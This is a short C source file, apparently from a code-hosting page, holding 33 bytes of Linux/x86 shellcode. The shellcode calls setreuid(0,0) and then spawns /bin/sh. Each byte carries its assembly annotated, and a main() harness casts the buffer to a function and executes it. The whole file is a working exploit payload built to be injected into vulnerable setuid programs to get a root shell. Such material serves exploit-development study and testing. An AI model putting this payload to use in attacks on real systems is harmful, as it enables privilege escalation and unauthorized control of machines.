You cannot select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
37 lines
927 B
C
37 lines
927 B
C
7 months ago
|
/*
|
||
|
|
* (Linux/x86) setreuid(0,0) + execve("/bin/sh", ["/bin/sh", NULL])
|
||
|
|
* - 33 bytes
|
||
|
|
* - xgc@gotfault.net
|
||
|
|
*
|
||
|
|
*/
|
||
|
|
|
||
|
|
char shellcode[] =
|
||
|
|
// setreuid(0, 0)
|
||
|
|
"\x6a\x46" // push $0x46
|
||
|
|
"\x58" // pop %eax
|
||
|
|
"\x31\xdb" // xor %ebx, %ebx
|
||
|
|
"\x31\xc9" // xor %ecx, %ecx
|
||
|
|
"\xcd\x80" // int $0x80
|
||
|
|
|
||
|
|
// execve("/bin/sh")
|
||
|
|
"\x31\xd2" // xor %edx, %edx
|
||
|
|
"\x6a\x0b" // push $0xb
|
||
|
|
"\x58" // pop %eax
|
||
|
|
"\x52" // push %edx
|
||
|
|
"\x68\x2f\x2f\x73\x68"// push $0x68732f2f
|
||
|
|
// [h, s, /, /]
|
||
|
|
"\x68\x2f\x62\x69\x6e"// push $0x6e69622f
|
||
|
|
// [n, i, b, /]
|
||
|
|
"\x89\xe3" // mov %esp, %ebx
|
||
|
|
"\x52" // push %edx
|
||
|
|
"\x53" // push %ebx
|
||
|
|
"\x89\xe1" // mov %esp, %ecx
|
||
|
|
"\xcd\x80"; // int $0x80
|
||
|
|
|
||
|
|
int main() {
|
||
|
|
|
||
|
|
int (*f)() = (int(*)())shellcode;
|
||
|
|
printf("Length: %u\n", strlen(shellcode));
|
||
|
|
f();
|
||
|
|
}
|